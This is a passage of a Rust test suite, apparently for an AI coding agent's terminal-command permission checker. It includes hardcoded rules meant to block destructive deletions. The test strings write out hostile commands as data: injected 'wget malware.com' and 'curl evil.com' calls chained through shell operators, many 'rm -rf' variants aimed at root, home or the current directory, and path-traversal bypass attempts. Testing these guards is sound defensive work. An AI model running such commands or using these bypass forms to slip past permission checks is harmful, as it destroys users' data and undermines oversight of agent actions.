 977                    pattern: "[bad".into(),
 978                    rule_type: "always_deny".into(),
 979                    error: "err".into(),
 980                }],
 981            },
 982        );
 983        let p = ToolPermissions {
 984            tools: tools.clone(),
 985        };
 986        // With global=true, all checks are bypassed including invalid pattern check
 987        assert!(matches!(
 988            ToolPermissionDecision::from_input(
 989                TerminalTool::NAME,
 990                "echo hi",
 991                &p,
 992                true,
 993                ShellKind::Posix
 994            ),
 995            ToolPermissionDecision::Allow
 996        ));
 997        // With global=false, invalid patterns block the tool
 998        assert!(matches!(
 999            ToolPermissionDecision::from_input(
1000                TerminalTool::NAME,
1001                "echo hi",
1002                &p,
1003                false,
1004                ShellKind::Posix
1005            ),
1006            ToolPermissionDecision::Deny(_)
1007        ));
1008    }
1009
1010    #[test]
1011    fn shell_injection_via_double_ampersand_not_allowed() {
1012        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1013    }
1014
1015    #[test]
1016    fn shell_injection_via_semicolon_not_allowed() {
1017        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1018    }
1019
1020    #[test]
1021    fn shell_injection_via_pipe_not_allowed() {
1022        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1023    }
1024
1025    #[test]
1026    fn shell_injection_via_backticks_not_allowed() {
1027        t("echo `wget malware.com`")
1028            .allow(&[pattern("echo")])
1029            .is_confirm();
1030    }
1031
1032    #[test]
1033    fn shell_injection_via_dollar_parens_not_allowed() {
1034        t("echo $(wget malware.com)")
1035            .allow(&[pattern("echo")])
1036            .is_confirm();
1037    }
1038
1039    #[test]
1040    fn shell_injection_via_or_operator_not_allowed() {
1041        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1042    }
1043
1044    #[test]
1045    fn shell_injection_via_background_operator_not_allowed() {
1046        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1047    }
1048
1049    #[test]
1050    fn shell_injection_via_newline_not_allowed() {
1051        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1052    }
1053
1054    #[test]
1055    fn shell_injection_via_process_substitution_input_not_allowed() {
1056        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1057    }
1058
1059    #[test]
1060    fn shell_injection_via_process_substitution_output_not_allowed() {
1061        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1062    }
1063
1064    #[test]
1065    fn shell_injection_without_spaces_not_allowed() {
1066        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1067        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1068    }
1069
1070    #[test]
1071    fn shell_injection_multiple_chained_operators_not_allowed() {
1072        t("ls && echo hello && wget malware.com")
1073            .allow(&["^ls"])
1074            .is_confirm();
1075    }
1076
1077    #[test]
1078    fn shell_injection_mixed_operators_not_allowed() {
1079        t("ls; echo hello && wget malware.com")
1080            .allow(&["^ls"])
1081            .is_confirm();
1082    }
1083
1084    #[test]
1085    fn shell_injection_pipe_stderr_not_allowed() {
1086        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1087    }
1088
1089    #[test]
1090    fn allow_requires_all_commands_to_match() {
1091        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1092    }
1093
1094    #[test]
1095    fn deny_triggers_on_any_matching_command() {
1096        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1097    }
1098
1099    #[test]
1100    fn deny_catches_injected_command() {
1101        t("ls && rm -rf ./temp")
1102            .allow(&["^ls"])
1103            .deny(&["^rm"])
1104            .is_deny();
1105    }
1106
1107    #[test]
1108    fn confirm_triggers_on_any_matching_command() {
1109        t("ls && sudo reboot")
1110            .allow(&["^ls"])
1111            .confirm(&["^sudo"])
1112            .is_confirm();
1113    }
1114
1115    #[test]
1116    fn always_allow_button_works_end_to_end() {
1117        // This test verifies that the "Always Allow" button behavior works correctly:
1118        // 1. User runs a command like "cargo build"
1119        // 2. They click "Always Allow for `cargo` commands"
1120        // 3. The pattern extracted from that command should match future cargo commands
1121        let original_command = "cargo build --release";
1122        let extracted_pattern = pattern(original_command);
1123
1124        // The extracted pattern should allow the original command
1125        t(original_command).allow(&[extracted_pattern]).is_allow();
1126
1127        // It should also allow other commands with the same base command
1128        t("cargo test").allow(&[extracted_pattern]).is_allow();
1129        t("cargo fmt").allow(&[extracted_pattern]).is_allow();
1130
1131        // But not commands with different base commands
1132        t("npm install").allow(&[extracted_pattern]).is_confirm();
1133
1134        // And it should work with subcommand extraction (chained commands)
1135        t("cargo build && cargo test")
1136            .allow(&[extracted_pattern])
1137            .is_allow();
1138
1139        // But reject if any subcommand doesn't match
1140        t("cargo build && npm install")
1141            .allow(&[extracted_pattern])
1142            .is_confirm();
1143    }
1144
1145    #[test]
1146    fn nested_command_substitution_all_checked() {
1147        t("echo $(cat $(whoami).txt)")
1148            .allow(&["^echo", "^cat", "^whoami"])
1149            .is_allow();
1150    }
1151
1152    #[test]
1153    fn parse_failure_falls_back_to_confirm() {
1154        t("ls &&").allow(&["^ls$"]).is_confirm();
1155    }
1156
1157    #[test]
1158    fn mcp_tool_default_modes() {
1159        t("")
1160            .tool("mcp:fs:read")
1161            .mode(ToolPermissionMode::Allow)
1162            .is_allow();
1163        t("")
1164            .tool("mcp:bad:del")
1165            .mode(ToolPermissionMode::Deny)
1166            .is_deny();
1167        t("")
1168            .tool("mcp:gh:issue")
1169            .mode(ToolPermissionMode::Confirm)
1170            .is_confirm();
1171        t("")
1172            .tool("mcp:gh:issue")
1173            .mode(ToolPermissionMode::Confirm)
1174            .global(true)
1175            .is_allow();
1176    }
1177
1178    #[test]
1179    fn mcp_doesnt_collide_with_builtin() {
1180        let mut tools = collections::HashMap::default();
1181        tools.insert(
1182            Arc::from(TerminalTool::NAME),
1183            ToolRules {
1184                default_mode: ToolPermissionMode::Deny,
1185                always_allow: vec![],
1186                always_deny: vec![],
1187                always_confirm: vec![],
1188                invalid_patterns: vec![],
1189            },
1190        );
1191        tools.insert(
1192            Arc::from("mcp:srv:terminal"),
1193            ToolRules {
1194                default_mode: ToolPermissionMode::Allow,
1195                always_allow: vec![],
1196                always_deny: vec![],
1197                always_confirm: vec![],
1198                invalid_patterns: vec![],
1199            },
1200        );
1201        let p = ToolPermissions { tools };
1202        assert!(matches!(
1203            ToolPermissionDecision::from_input(
1204                TerminalTool::NAME,
1205                "x",
1206                &p,
1207                false,
1208                ShellKind::Posix
1209            ),
1210            ToolPermissionDecision::Deny(_)
1211        ));
1212        assert_eq!(
1213            ToolPermissionDecision::from_input(
1214                "mcp:srv:terminal",
1215                "x",
1216                &p,
1217                false,
1218                ShellKind::Posix
1219            ),
1220            ToolPermissionDecision::Allow
1221        );
1222    }
1223
1224    #[test]
1225    fn case_insensitive_by_default() {
1226        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1227        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1228    }
1229
1230    #[test]
1231    fn case_sensitive_allow() {
1232        t("cargo test")
1233            .allow_case_sensitive(&[pattern("cargo")])
1234            .is_allow();
1235        t("CARGO TEST")
1236            .allow_case_sensitive(&[pattern("cargo")])
1237            .is_confirm();
1238    }
1239
1240    #[test]
1241    fn case_sensitive_deny() {
1242        t("rm -rf ./temp")
1243            .deny_case_sensitive(&[pattern("rm")])
1244            .is_deny();
1245        t("RM -RF ./temp")
1246            .deny_case_sensitive(&[pattern("rm")])
1247            .mode(ToolPermissionMode::Allow)
1248            .is_allow();
1249    }
1250
1251    #[test]
1252    fn nushell_allows_with_allow_pattern() {
1253        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1254    }
1255
1256    #[test]
1257    fn nushell_allows_deny_patterns() {
1258        t("rm -rf ./temp")
1259            .deny(&["rm\\s+-rf"])
1260            .shell(ShellKind::Nushell)
1261            .is_deny();
1262    }
1263
1264    #[test]
1265    fn nushell_allows_confirm_patterns() {
1266        t("sudo reboot")
1267            .confirm(&["sudo"])
1268            .shell(ShellKind::Nushell)
1269            .is_confirm();
1270    }
1271
1272    #[test]
1273    fn nushell_no_allow_patterns_uses_default() {
1274        t("ls")
1275            .deny(&["rm"])
1276            .mode(ToolPermissionMode::Allow)
1277            .shell(ShellKind::Nushell)
1278            .is_allow();
1279    }
1280
1281    #[test]
1282    fn elvish_allows_with_allow_pattern() {
1283        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1284    }
1285
1286    #[test]
1287    fn rc_allows_with_allow_pattern() {
1288        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1289    }
1290
1291    #[test]
1292    fn multiple_invalid_patterns_pluralizes_message() {
1293        let mut tools = collections::HashMap::default();
1294        tools.insert(
1295            Arc::from(TerminalTool::NAME),
1296            ToolRules {
1297                default_mode: ToolPermissionMode::Allow,
1298                always_allow: vec![],
1299                always_deny: vec![],
1300                always_confirm: vec![],
1301                invalid_patterns: vec![
1302                    InvalidRegexPattern {
1303                        pattern: "[bad1".into(),
1304                        rule_type: "always_deny".into(),
1305                        error: "err1".into(),
1306                    },
1307                    InvalidRegexPattern {
1308                        pattern: "[bad2".into(),
1309                        rule_type: "always_allow".into(),
1310                        error: "err2".into(),
1311                    },
1312                ],
1313            },
1314        );
1315        let p = ToolPermissions { tools };
1316
1317        let result = ToolPermissionDecision::from_input(
1318            TerminalTool::NAME,
1319            "echo hi",
1320            &p,
1321            false,
1322            ShellKind::Posix,
1323        );
1324        match result {
1325            ToolPermissionDecision::Deny(msg) => {
1326                assert!(
1327                    msg.contains("2 regex patterns"),
1328                    "Expected '2 regex patterns' in message, got: {}",
1329                    msg
1330                );
1331            }
1332            other => panic!("Expected Deny, got {:?}", other),
1333        }
1334    }
1335
1336    // Hardcoded security rules tests - these rules CANNOT be bypassed
1337
1338    #[test]
1339    fn hardcoded_blocks_rm_rf_root() {
1340        t("rm -rf /").is_deny();
1341        t("rm -fr /").is_deny();
1342        t("rm -RF /").is_deny();
1343        t("rm -FR /").is_deny();
1344        t("rm -r -f /").is_deny();
1345        t("rm -f -r /").is_deny();
1346        t("RM -RF /").is_deny();
1347        // Long flags
1348        t("rm --recursive --force /").is_deny();
1349        t("rm --force --recursive /").is_deny();
1350        // Extra short flags
1351        t("rm -rfv /").is_deny();
1352        t("rm -v -rf /").is_deny();
1353        // Glob wildcards
1354        t("rm -rf /*").is_deny();
1355        t("rm -rf /* ").is_deny();
1356        // End-of-options marker
1357        t("rm -rf -- /").is_deny();
1358        t("rm -- /").is_deny();
1359        // Prefixed with sudo or other commands
1360        t("sudo rm -rf /").is_deny();
1361        t("sudo rm -rf /*").is_deny();
1362        t("sudo rm -rf --no-preserve-root /").is_deny();
1363    }
1364
1365    #[test]
1366    fn hardcoded_blocks_rm_rf_home() {
1367        t("rm -rf ~").is_deny();
1368        t("rm -fr ~").is_deny();
1369        t("rm -rf ~/").is_deny();
1370        t("rm -rf $HOME").is_deny();
1371        t("rm -fr $HOME").is_deny();
1372        t("rm -rf $HOME/").is_deny();
1373        t("rm -rf ${HOME}").is_deny();
1374        t("rm -rf ${HOME}/").is_deny();
1375        t("rm -RF $HOME").is_deny();
1376        t("rm -FR ${HOME}/").is_deny();
1377        t("rm -R -F ${HOME}/").is_deny();
1378        t("RM -RF ~").is_deny();
1379        // Long flags
1380        t("rm --recursive --force ~").is_deny();
1381        t("rm --recursive --force ~/").is_deny();
1382        t("rm --recursive --force $HOME").is_deny();
1383        t("rm --force --recursive ${HOME}/").is_deny();
1384        // Extra short flags
1385        t("rm -rfv ~").is_deny();
1386        t("rm -v -rf ~/").is_deny();
1387        // Glob wildcards
1388        t("rm -rf ~/*").is_deny();
1389        t("rm -rf $HOME/*").is_deny();
1390        t("rm -rf ${HOME}/*").is_deny();
1391        // End-of-options marker
1392        t("rm -rf -- ~").is_deny();
1393        t("rm -rf -- ~/").is_deny();
1394        t("rm -rf -- $HOME").is_deny();
1395    }
1396
1397    #[test]
1398    fn hardcoded_blocks_rm_rf_home_with_traversal() {
1399        // Path traversal after $HOME / ${HOME} should still be blocked
1400        t("rm -rf $HOME/./").is_deny();
1401        t("rm -rf $HOME/foo/..").is_deny();
1402        t("rm -rf ${HOME}/.").is_deny();
1403        t("rm -rf ${HOME}/./").is_deny();
1404        t("rm -rf $HOME/a/b/../..").is_deny();
1405        t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1406        // Subdirectories should NOT be blocked
1407        t("rm -rf $HOME/subdir")
1408            .mode(ToolPermissionMode::Allow)
1409            .is_allow();
1410        t("rm -rf ${HOME}/Documents")
1411            .mode(ToolPermissionMode::Allow)
1412            .is_allow();
1413    }
1414
1415    #[test]
1416    fn hardcoded_blocks_rm_rf_dot() {
1417        t("rm -rf .").is_deny();
1418        t("rm -fr .").is_deny();
1419        t("rm -rf ./").is_deny();
1420        t("rm -rf ..").is_deny();
1421        t("rm -fr ..").is_deny();
1422        t("rm -rf ../").is_deny();
1423        t("rm -RF .").is_deny();
1424        t("rm -FR ../").is_deny();
1425        t("rm -R -F ../").is_deny();
1426        t("RM -RF .").is_deny();
1427        t("RM -RF ..").is_deny();
1428        // Long flags
1429        t("rm --recursive --force .").is_deny();
1430        t("rm --force --recursive ../").is_deny();
1431        // Extra short flags
1432        t("rm -rfv .").is_deny();
1433        t("rm -v -rf ../").is_deny();
1434        // Glob wildcards
1435        t("rm -rf ./*").is_deny();
1436        t("rm -rf ../*").is_deny();
1437        // End-of-options marker
1438        t("rm -rf -- .").is_deny();
1439        t("rm -rf -- ../").is_deny();
1440    }
1441
1442    #[test]
1443    fn hardcoded_cannot_be_bypassed_by_global() {
1444        // Even with always_allow_tool_actions=true, hardcoded rules block
1445        t("rm -rf /").global(true).is_deny();
1446        t("rm -rf ~").global(true).is_deny();
1447        t("rm -rf $HOME").global(true).is_deny();
1448        t("rm -rf .").global(true).is_deny();
1449        t("rm -rf ..").global(true).is_deny();
1450    }
1451
1452    #[test]
1453    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1454        // Even with an allow pattern that matches, hardcoded rules block
1455        t("rm -rf /").allow(&[".*"]).is_deny();
1456        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1457        t("rm -rf .").allow(&[".*"]).is_deny();
1458        t("rm -rf ..").allow(&[".*"]).is_deny();
1459    }
1460
1461    #[test]
1462    fn hardcoded_allows_safe_rm() {
1463        // rm -rf on a specific path should NOT be blocked
1464        t("rm -rf ./build")
1465            .mode(ToolPermissionMode::Allow)
1466            .is_allow();
1467        t("rm -rf /tmp/test")
1468            .mode(ToolPermissionMode::Allow)
1469            .is_allow();
1470        t("rm -rf ~/Documents")
1471            .mode(ToolPermissionMode::Allow)
1472            .is_allow();
1473        t("rm -rf $HOME/Documents")
1474            .mode(ToolPermissionMode::Allow)
1475            .is_allow();
1476        t("rm -rf ../some_dir")
1477            .mode(ToolPermissionMode::Allow)
1478            .is_allow();
1479        t("rm -rf .hidden_dir")
1480            .mode(ToolPermissionMode::Allow)
1481            .is_allow();
1482    }
1483
1484    #[test]
1485    fn hardcoded_checks_chained_commands() {
1486        // Hardcoded rules should catch dangerous commands in chains
1487        t("ls && rm -rf /").is_deny();
1488        t("echo hello; rm -rf ~").is_deny();
1489        t("cargo build && rm -rf /").global(true).is_deny();
1490        t("echo hello; rm -rf $HOME").is_deny();
1491        t("echo hello; rm -rf .").is_deny();
1492        t("echo hello; rm -rf ..").is_deny();
1493    }
1494
1495    #[test]
1496    fn hardcoded_blocks_rm_with_trailing_flags() {
1497        // GNU rm accepts flags after operands by default
1498        t("rm / -rf").is_deny();
1499        t("rm / -fr").is_deny();
1500        t("rm / -RF").is_deny();
1501        t("rm / -r -f").is_deny();
1502        t("rm / --recursive --force").is_deny();
1503        t("rm / -rfv").is_deny();
1504        t("rm /* -rf").is_deny();
1505        // Mixed: some flags before path, some after
1506        t("rm -r / -f").is_deny();
1507        t("rm -f / -r").is_deny();
1508        // Home
1509        t("rm ~ -rf").is_deny();
1510        t("rm ~/ -rf").is_deny();
1511        t("rm ~ -r -f").is_deny();
1512        t("rm $HOME -rf").is_deny();
1513        t("rm ${HOME} -rf").is_deny();
1514        // Dot / dotdot
1515        t("rm . -rf").is_deny();
1516        t("rm ./ -rf").is_deny();
1517        t("rm . -r -f").is_deny();
1518        t("rm .. -rf").is_deny();
1519        t("rm ../ -rf").is_deny();
1520        t("rm .. -r -f").is_deny();
1521        // Trailing flags in chained commands
1522        t("ls && rm / -rf").is_deny();
1523        t("echo hello; rm ~ -rf").is_deny();
1524        // Safe paths with trailing flags should NOT be blocked
1525        t("rm ./build -rf")
1526            .mode(ToolPermissionMode::Allow)
1527            .is_allow();
1528        t("rm /tmp/test -rf")
1529            .mode(ToolPermissionMode::Allow)
1530            .is_allow();
1531        t("rm ~/Documents -rf")
1532            .mode(ToolPermissionMode::Allow)
1533            .is_allow();
1534    }
1535
1536    #[test]
1537    fn hardcoded_blocks_rm_with_flag_equals_value() {
1538        // --flag=value syntax should not bypass the rules
1539        t("rm --no-preserve-root=yes -rf /").is_deny();
1540        t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1541        t("rm -rf --no-preserve-root=yes /").is_deny();
1542        t("rm --interactive=never -rf /").is_deny();
1543        t("rm --no-preserve-root=yes -rf ~").is_deny();
1544        t("rm --no-preserve-root=yes -rf .").is_deny();
1545        t("rm --no-preserve-root=yes -rf ..").is_deny();
1546        t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1547        // --flag (without =value) should also not bypass the rules
1548        t("rm -rf --no-preserve-root /").is_deny();
1549        t("rm --no-preserve-root -rf /").is_deny();
1550        t("rm --no-preserve-root --recursive --force /").is_deny();
1551        t("rm -rf --no-preserve-root ~").is_deny();
1552        t("rm -rf --no-preserve-root .").is_deny();
1553        t("rm -rf --no-preserve-root ..").is_deny();
1554        t("rm -rf --no-preserve-root $HOME").is_deny();
1555        // Trailing --flag=value after path
1556        t("rm / --no-preserve-root=yes -rf").is_deny();
1557        t("rm ~ -rf --no-preserve-root=yes").is_deny();
1558        // Trailing --flag (without =value) after path
1559        t("rm / -rf --no-preserve-root").is_deny();
1560        t("rm ~ -rf --no-preserve-root").is_deny();
1561        // Safe paths with --flag=value should NOT be blocked
1562        t("rm --no-preserve-root=yes -rf ./build")
1563            .mode(ToolPermissionMode::Allow)
1564            .is_allow();
1565        t("rm --interactive=never -rf /tmp/test")
1566            .mode(ToolPermissionMode::Allow)
1567            .is_allow();
1568        // Safe paths with --flag (without =value) should NOT be blocked
1569        t("rm --no-preserve-root -rf ./build")
1570            .mode(ToolPermissionMode::Allow)
1571            .is_allow();
1572    }
1573
1574    #[test]
1575    fn hardcoded_blocks_rm_with_path_traversal() {
1576        // Traversal to root via ..
1577        t("rm -rf /etc/../").is_deny();
1578        t("rm -rf /tmp/../../").is_deny();
1579        t("rm -rf /tmp/../..").is_deny();
1580        t("rm -rf /var/log/../../").is_deny();
1581        // Root via /./
1582        t("rm -rf /./").is_deny();
1583        t("rm -rf /.").is_deny();
1584        // Double slash (equivalent to /)
1585        t("rm -rf //").is_deny();
1586        // Home traversal via ~/./
1587        t("rm -rf ~/./").is_deny();
1588        t("rm -rf ~/.").is_deny();
1589        // Dot traversal via indirect paths
1590        t("rm -rf ./foo/..").is_deny();
1591        t("rm -rf ../foo/..").is_deny();
1592        // Traversal in chained commands
1593        t("ls && rm -rf /tmp/../../").is_deny();
1594        t("echo hello; rm -rf /./").is_deny();
1595        // Traversal cannot be bypassed by global or allow patterns
1596        t("rm -rf /tmp/../../").global(true).is_deny();
1597        t("rm -rf /./").allow(&[".*"]).is_deny();
1598        // Safe paths with traversal should still be allowed
1599        t("rm -rf /tmp/../tmp/foo")
1600            .mode(ToolPermissionMode::Allow)
1601            .is_allow();
1602        t("rm -rf ~/Documents/./subdir")
1603            .mode(ToolPermissionMode::Allow)
1604            .is_allow();
1605    }
1606
1607    #[test]
1608    fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1609        t("rm -rf /tmp /").is_deny();
1610        t("rm -rf /tmp/foo /").is_deny();
1611        t("rm -rf /var/log ~").is_deny();
1612        t("rm -rf /safe $HOME").is_deny();
1613    }
1614
1615    #[test]
1616    fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1617        t("rm -rf / /tmp").is_deny();
1618        t("rm -rf ~ /var/log").is_deny();
1619        t("rm -rf . /tmp/foo").is_deny();
1620        t("rm -rf .. /safe").is_deny();
1621    }
1622
1623    #[test]
1624    fn hardcoded_allows_rm_multi_path_all_safe() {
1625        t("rm -rf /tmp /home/user")
1626            .mode(ToolPermissionMode::Allow)
1627            .is_allow();
1628        t("rm -rf ./build ./dist")
1629            .mode(ToolPermissionMode::Allow)
1630            .is_allow();
1631        t("rm -rf /var/log/app /tmp/cache")
1632            .mode(ToolPermissionMode::Allow)
1633            .is_allow();
1634    }
1635
1636    #[test]
1637    fn hardcoded_blocks_rm_multi_path_with_traversal() {
1638        t("rm -rf /safe /tmp/../../").is_deny();
1639        t("rm -rf /tmp/../../ /safe").is_deny();
1640        t("rm -rf /safe /var/log/../../").is_deny();
1641    }
1642
1643    #[test]
1644    fn hardcoded_blocks_user_reported_bypass_variants() {
1645        // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1646        t("rm -rf /etc/../").is_deny();
1647        t("rm -rf /etc/..").is_deny();
1648        // User report: --no-preserve-root (without =value) should not bypass
1649        t("rm -rf --no-preserve-root /").is_deny();
1650        t("rm --no-preserve-root -rf /").is_deny();
1651        // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1652        t("rm -rf /*").is_deny();
1653        // Chained with sudo
1654        t("sudo rm -rf /").is_deny();
1655        t("sudo rm -rf --no-preserve-root /").is_deny();
1656        // Traversal cannot be bypassed even with global allow or allow patterns
1657        t("rm -rf /etc/../").global(true).is_deny();
1658        t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1659        t("rm -rf --no-preserve-root /").global(true).is_deny();
1660        t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1661    }
1662
1663    #[test]
1664    fn normalize_path_relative_no_change() {
1665        assert_eq!(normalize_path("foo/bar"), "foo/bar");
1666    }
1667
1668    #[test]
1669    fn normalize_path_relative_with_curdir() {
1670        assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1671    }
1672
1673    #[test]
1674    fn normalize_path_relative_with_parent() {
1675        assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1676    }
1677
1678    #[test]
1679    fn normalize_path_absolute_preserved() {
1680        assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1681    }
1682
1683    #[test]
1684    fn normalize_path_absolute_with_traversal() {
1685        assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1686    }
1687
1688    #[test]
1689    fn normalize_path_root() {
1690        assert_eq!(normalize_path("/"), "/");
1691    }
1692
1693    #[test]
1694    fn normalize_path_parent_beyond_root_clamped() {
1695        assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1696    }
1697
1698    #[test]
1699    fn normalize_path_curdir_only() {
1700        assert_eq!(normalize_path("."), "");
1701    }
1702
1703    #[test]
1704    fn normalize_path_empty() {
1705        assert_eq!(normalize_path(""), "");
1706    }
1707
1708    #[test]
1709    fn normalize_path_relative_traversal_above_start() {
1710        assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1711    }
1712
1713    #[test]
1714    fn normalize_path_relative_traversal_with_curdir() {
1715        assert_eq!(normalize_path("../../."), "../..");
1716    }
1717
1718    #[test]
1719    fn normalize_path_relative_partial_traversal_above_start() {
1720        assert_eq!(normalize_path("foo/../../bar"), "../bar");
1721    }
1722
1723    #[test]
1724    fn most_restrictive_deny_vs_allow() {
1725        assert!(matches!(
1726            most_restrictive(
1727                ToolPermissionDecision::Deny("x".into()),
1728                ToolPermissionDecision::Allow
1729            ),
1730            ToolPermissionDecision::Deny(_)
1731        ));
1732    }
1733
1734    #[test]
1735    fn most_restrictive_allow_vs_deny() {
1736        assert!(matches!(
1737            most_restrictive(
1738                ToolPermissionDecision::Allow,
1739                ToolPermissionDecision::Deny("x".into())
1740            ),
1741            ToolPermissionDecision::Deny(_)
1742        ));
1743    }
1744
1745    #[test]
1746    fn most_restrictive_deny_vs_confirm() {
1747        assert!(matches!(
1748            most_restrictive(
1749                ToolPermissionDecision::Deny("x".into()),
1750                ToolPermissionDecision::Confirm
1751            ),
1752            ToolPermissionDecision::Deny(_)
1753        ));
1754    }
1755
1756    #[test]
1757    fn most_restrictive_confirm_vs_deny() {
1758        assert!(matches!(
1759            most_restrictive(
1760                ToolPermissionDecision::Confirm,
1761                ToolPermissionDecision::Deny("x".into())
1762            ),
1763            ToolPermissionDecision::Deny(_)
1764        ));
1765    }
1766
1767    #[test]
1768    fn most_restrictive_deny_vs_deny() {
1769        assert!(matches!(
1770            most_restrictive(
1771                ToolPermissionDecision::Deny("a".into()),
1772                ToolPermissionDecision::Deny("b".into())
1773            ),
1774            ToolPermissionDecision::Deny(_)
1775        ));
1776    }
1777
1778    #[test]
1779    fn most_restrictive_confirm_vs_allow() {
1780        assert_eq!(
1781            most_restrictive(
1782                ToolPermissionDecision::Confirm,
1783                ToolPermissionDecision::Allow
1784            ),
1785            ToolPermissionDecision::Confirm
1786        );
1787    }
1788
1789    #[test]
1790    fn most_restrictive_allow_vs_confirm() {
1791        assert_eq!(
1792            most_restrictive(
1793                ToolPermissionDecision::Allow,
1794                ToolPermissionDecision::Confirm
1795            ),
1796            ToolPermissionDecision::Confirm
1797        );
1798    }
1799
1800    #[test]
1801    fn most_restrictive_allow_vs_allow() {
1802        assert_eq!(
1803            most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
1804            ToolPermissionDecision::Allow
1805        );
1806    }
1807
1808    #[test]
1809    fn decide_permission_for_path_no_dots_early_return() {
1810        // When the path has no `.` or `..`, normalize_path returns the same string,
1811        // so decide_permission_for_path returns the raw decision directly.
1812        let settings = test_agent_settings(
1813            ToolPermissions {
1814                tools: Default::default(),
1815            },
1816            false,
1817        );
1818        let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
1819        assert_eq!(decision, ToolPermissionDecision::Confirm);
1820    }
1821
1822    #[test]
1823    fn decide_permission_for_path_traversal_triggers_deny() {
1824        let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
1825        let mut tools = collections::HashMap::default();
1826        tools.insert(
1827            Arc::from(EditFileTool::NAME),
1828            ToolRules {
1829                default_mode: ToolPermissionMode::Allow,
1830                always_allow: vec![],
1831                always_deny: vec![deny_regex],
1832                always_confirm: vec![],
1833                invalid_patterns: vec![],
1834            },
1835        );
1836        let settings = test_agent_settings(ToolPermissions { tools }, false);
1837
1838        let decision =
1839            decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
1840        assert!(
1841            matches!(decision, ToolPermissionDecision::Deny(_)),
1842            "expected Deny for traversal to /etc/passwd, got {:?}",
1843            decision
1844        );
1845    }
1846}